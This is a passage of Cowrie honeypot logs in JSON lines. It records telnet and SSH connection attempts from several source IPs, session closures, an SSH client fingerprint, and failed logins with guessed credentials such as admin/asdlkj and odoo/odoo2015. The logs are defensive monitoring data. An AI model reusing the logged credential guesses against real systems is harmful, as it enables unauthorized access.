88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:02.684712Z","src_ip":"159.203.92.129","session":"8c56516e8054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59170,"dst_ip":"10.17.0.5","dst_port":23,"session":"33288485b38b","protocol":"telnet","message":"New connection: 203.1.9.18:59170 (10.17.0.5:23) [session: 33288485b38b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:02.767819Z"}
{"eventid":"cowrie.session.closed","duration":43.51914691925049,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:02.849668Z","src_ip":"185.116.212.16","session":"68d8e7eac0e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.707305669784546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:03.033770Z","src_ip":"46.4.133.15","session":"ceaa2cbb7b1f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"asdlkj","message":"login attempt [admin/asdlkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:03.072947Z","src_ip":"159.203.92.129","session":"8c56516e8054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59184,"dst_ip":"10.17.0.5","dst_port":23,"session":"42498fc9e66d","protocol":"telnet","message":"New connection: 203.1.9.18:59184 (10.17.0.5:23) [session: 42498fc9e66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:03.457653Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59190,"dst_ip":"10.17.0.5","dst_port":23,"session":"34677693bba1","protocol":"telnet","message":"New connection: 203.1.9.18:59190 (10.17.0.5:23) [session: 34677693bba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:03.498019Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":41030,"dst_ip":"10.17.0.5","dst_port":23,"session":"8db58ea44eae","protocol":"telnet","message":"New connection: 187.45.176.130:41030 (10.17.0.5:23) [session: 8db58ea44eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:03.668601Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59200,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e88d77c9331","protocol":"telnet","message":"New connection: 203.1.9.18:59200 (10.17.0.5:23) [session: 9e88d77c9331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:03.749445Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59208,"dst_ip":"10.17.0.5","dst_port":23,"session":"59b3d12cedf3","protocol":"telnet","message":"New connection: 203.1.9.18:59208 (10.17.0.5:23) [session: 59b3d12cedf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:03.900287Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59214,"dst_ip":"10.17.0.5","dst_port":23,"session":"004f8253b3b1","protocol":"telnet","message":"New connection: 203.1.9.18:59214 (10.17.0.5:23) [session: 004f8253b3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:04.092673Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:04.128857Z","src_ip":"159.203.92.129","session":"8c56516e8054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":43600,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6bbd82daf1c","protocol":"telnet","message":"New connection: 103.153.64.19:43600 (10.17.0.5:23) [session: c6bbd82daf1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:04.604439Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":43616,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fd335c9b68e","protocol":"telnet","message":"New connection: 103.153.64.19:43616 (10.17.0.5:23) [session: 9fd335c9b68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:04.615243Z"}
{"eventid":"cowrie.session.closed","duration":31.729361295700073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:04.899899Z","src_ip":"46.4.133.15","session":"bd427a1838f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82364320755005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:04.976694Z","src_ip":"46.4.133.15","session":"8413f97e1eaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59218,"dst_ip":"10.17.0.5","dst_port":23,"session":"16815a4393a4","protocol":"telnet","message":"New connection: 203.1.9.18:59218 (10.17.0.5:23) [session: 16815a4393a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:05.079233Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59232,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba1cbd1b131c","protocol":"telnet","message":"New connection: 203.1.9.18:59232 (10.17.0.5:23) [session: ba1cbd1b131c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:05.399939Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59234,"dst_ip":"10.17.0.5","dst_port":23,"session":"24c0b85323ec","protocol":"telnet","message":"New connection: 203.1.9.18:59234 (10.17.0.5:23) [session: 24c0b85323ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:05.789186Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":56288,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ee367b0381c","protocol":"telnet","message":"New connection: 103.153.64.19:56288 (10.17.0.5:23) [session: 1ee367b0381c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:06.395399Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59240,"dst_ip":"10.17.0.5","dst_port":23,"session":"65d0168bbb9a","protocol":"telnet","message":"New connection: 203.1.9.18:59240 (10.17.0.5:23) [session: 65d0168bbb9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:06.735390Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":56304,"dst_ip":"10.17.0.5","dst_port":23,"session":"c20bdab3ae50","protocol":"telnet","message":"New connection: 103.153.64.19:56304 (10.17.0.5:23) [session: c20bdab3ae50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:06.911916Z"}
{"eventid":"cowrie.session.closed","duration":30.803181648254395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:06.996754Z","src_ip":"46.4.133.15","session":"324984cc4b34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59244,"dst_ip":"10.17.0.5","dst_port":23,"session":"253a5542f85a","protocol":"telnet","message":"New connection: 203.1.9.18:59244 (10.17.0.5:23) [session: 253a5542f85a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:07.381576Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":41042,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aff9139f174","protocol":"telnet","message":"New connection: 187.45.176.130:41042 (10.17.0.5:23) [session: 8aff9139f174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:07.603750Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":56316,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e486c990b4d","protocol":"telnet","message":"New connection: 103.153.64.19:56316 (10.17.0.5:23) [session: 7e486c990b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:07.671395Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59260,"dst_ip":"10.17.0.5","dst_port":23,"session":"c760de468455","protocol":"telnet","message":"New connection: 203.1.9.18:59260 (10.17.0.5:23) [session: c760de468455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:07.717715Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59276,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2dafd14e0d6","protocol":"telnet","message":"New connection: 203.1.9.18:59276 (10.17.0.5:23) [session: c2dafd14e0d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:08.588809Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":59280,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f03e77898b8","protocol":"telnet","message":"New connection: 203.1.9.18:59280 (10.17.0.5:23) [session: 2f03e77898b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:08.684004Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":34968,"dst_ip":"159.203.135.109","dst_port":22,"session":"20f997f96ee7","protocol":"ssh","message":"New connection: 103.172.20.218:34968 (159.203.135.109:22) [session: 20f997f96ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:08.695994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:08.701327Z","src_ip":"103.172.20.218","session":"20f997f96ee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:08.927627Z","src_ip":"103.172.20.218","session":"20f997f96ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":41052,"dst_ip":"10.17.0.5","dst_port":23,"session":"eae75eb63551","protocol":"telnet","message":"New connection: 187.45.176.130:41052 (10.17.0.5:23) [session: eae75eb63551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:09.358437Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":56326,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dcf11e17b5c","protocol":"telnet","message":"New connection: 103.153.64.19:56326 (10.17.0.5:23) [session: 3dcf11e17b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:09.661814Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":56342,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ddd723914dc","protocol":"telnet","message":"New connection: 103.153.64.19:56342 (10.17.0.5:23) [session: 5ddd723914dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:09.820887Z"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo2015","message":"login attempt [odoo/odoo2015] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:09.863574Z","src_ip":"103.172.20.218","session":"20f997f96ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58080,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf3cce9f2862","protocol":"telnet","message":"New connection: 203.1.9.18:58080 (10.17.0.5:23) [session: cf3cce9f2862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:10.270014Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58092,"dst_ip":"10.17.0.5","dst_port":23,"session":"11260f6f22a9","protocol":"telnet","message":"New connection: 203.1.9.18:58092 (10.17.0.5:23) [session: 11260f6f22a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:10.618311Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58104,"dst_ip":"10.17.0.5","dst_port":23,"session":"26c69b53143b","protocol":"telnet","message":"New connection: 203.1.9.18:58104 (10.17.0.5:23) [session: 26c69b53143b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:10.914700Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:11.092600Z","src_ip":"103.172.20.218","session":"20f997f96ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58076,"dst_ip":"10.17.0.5","dst_port":23,"session":"8484ed63b13d","protocol":"telnet","message":"New connection: 203.1.9.18:58076 (10.17.0.5:23) [session: 8484ed63b13d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:11.210464Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":56354,"dst_ip":"10.17.0.5","dst_port":23,"session":"c33674fda11e","protocol":"telnet","message":"New connection: 103.153.64.19:56354 (10.17.0.5:23) [session: c33674fda11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:11.612733Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58112,"dst_ip":"10.17.0.5","dst_port":23,"session":"44c709977b7a","protocol":"telnet","message":"New connection: 203.1.9.18:58112 (10.17.0.5:23) [session: 44c709977b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:12.104049Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58128,"dst_ip":"10.17.0.5","dst_port":23,"session":"44551bfe677c","protocol":"telnet","message":"New connection: 203.1.9.18:58128 (10.17.0.5:23) [session: 44551bfe677c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:12.524873Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58144,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9f94d62ea3a","protocol":"telnet","message":"New connection: 203.1.9.18:58144 (10.17.0.5:23) [session: f9f94d62ea3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:12.999308Z"}
{"eventid":"cowrie.session.closed","duration":30.51750373840332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:13.131562Z","src_ip":"103.153.64.19","session":"d6273282560c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":33728,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b4cb47724c0","protocol":"telnet","message":"New connection: 187.45.176.130:33728 (10.17.0.5:23) [session: 7b4cb47724c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:13.310634Z"}
{"eventid":"cowrie.session.closed","duration":30.717041492462158,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:13.339877Z","src_ip":"103.153.64.19","session":"28cb18364370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":56370,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5a35b09ab91","protocol":"telnet","message":"New connection: 103.153.64.19:56370 (10.17.0.5:23) [session: c5a35b09ab91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:13.787214Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":56380,"dst_ip":"10.17.0.5","dst_port":23,"session":"1860ee423cd1","protocol":"telnet","message":"New connection: 103.153.64.19:56380 (10.17.0.5:23) [session: 1860ee423cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:13.927029Z"}
{"eventid":"cowrie.session.closed","duration":31.38839292526245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:14.078855Z","src_ip":"203.1.9.18","session":"a56d63076b3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.492945194244385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:14.976646Z","src_ip":"46.4.133.15","session":"2a862fa691e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38900,"dst_ip":"10.17.0.5","dst_port":23,"session":"4989699bb2bc","protocol":"telnet","message":"New connection: 103.153.64.19:38900 (10.17.0.5:23) [session: 4989699bb2bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:15.005978Z"}
{"eventid":"cowrie.session.closed","duration":30.45139503479004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:15.058568Z","src_ip":"187.45.176.130","session":"cb9a59fc894f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38064455986023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:15.176665Z","src_ip":"103.153.64.19","session":"13926295ef99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58146,"dst_ip":"10.17.0.5","dst_port":23,"session":"8770ed06b40d","protocol":"telnet","message":"New connection: 203.1.9.18:58146 (10.17.0.5:23) [session: 8770ed06b40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:15.199634Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58158,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa4a9b95c191","protocol":"telnet","message":"New connection: 203.1.9.18:58158 (10.17.0.5:23) [session: fa4a9b95c191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:15.295122Z"}
{"eventid":"cowrie.session.closed","duration":31.27134895324707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:15.597780Z","src_ip":"187.45.176.130","session":"fe887bf930ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08073663711548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:15.629547Z","src_ip":"203.1.9.18","session":"6547a5ae40f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58160,"dst_ip":"10.17.0.5","dst_port":23,"session":"69fc33133f95","protocol":"telnet","message":"New connection: 203.1.9.18:58160 (10.17.0.5:23) [session: 69fc33133f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:15.747581Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38904,"dst_ip":"10.17.0.5","dst_port":23,"session":"60093ee30348","protocol":"telnet","message":"New connection: 103.153.64.19:38904 (10.17.0.5:23) [session: 60093ee30348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:15.909131Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58174,"dst_ip":"10.17.0.5","dst_port":23,"session":"06afe5bcbd8a","protocol":"telnet","message":"New connection: 203.1.9.18:58174 (10.17.0.5:23) [session: 06afe5bcbd8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:15.949613Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58188,"dst_ip":"10.17.0.5","dst_port":23,"session":"f482dd51d1d3","protocol":"telnet","message":"New connection: 203.1.9.18:58188 (10.17.0.5:23) [session: f482dd51d1d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:16.062777Z"}
{"eventid":"cowrie.session.closed","duration":30.9163920879364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:16.285277Z","src_ip":"187.45.176.130","session":"a1f0ef611ea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.45.176.130","src_port":33742,"dst_ip":"10.17.0.5","dst_port":23,"session":"5288fdbf2d32","protocol":"telnet","message":"New connection: 187.45.176.130:33742 (10.17.0.5:23) [session: 5288fdbf2d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:16.372758Z"}
{"eventid":"cowrie.session.closed","duration":31.123892307281494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:16.385467Z","src_ip":"203.1.9.18","session":"01c3230ecdc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.09714651107788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:16.554758Z","src_ip":"203.1.9.18","session":"3db8e729cf37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99152660369873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:16.595789Z","src_ip":"103.153.64.19","session":"4b4e410f3d3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90794563293457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:17.588597Z","src_ip":"203.1.9.18","session":"1e675139b439","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"203.1.9.18","src_port":58198,"dst_ip":"10.17.0.5","dst_port":23,"session":"89130e68c5da","protocol":"telnet","message":"New connection: 203.1.9.18:58198 (10.17.0.5:23) [session: 89130e68c5da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:17.851183Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38912,"dst_ip":"10.17.0.5","dst_port":23,"session":"f64a0ae010e7","protocol":"telnet","message":"New connection: 103.153.64.19:38912 (10.17.0.5:23) [session: f64a0ae010e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:18.083235Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.116.212.16","src_port":39086,"dst_ip":"10.17.0.5","dst_port":23,"session":"66267fcfd4a7","protocol":"telnet","message":"New connection: 185.116.212.16:39086 (10.17.0.5:23) [session: 66267fcfd4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:18.555368Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":38914,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bdfc30495eb","protocol":"telnet","message":"New connection: 103.153.64.19:38914 (10.17.0.5:23) [session: 0bdfc30495eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:18.669318Z"}
{"eventid":"cowrie.session.closed","duration":31.009443283081055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:35:18.674144Z","src_ip":"203.1.9.18","session":"335c6276891c","protocol":"telnet"}
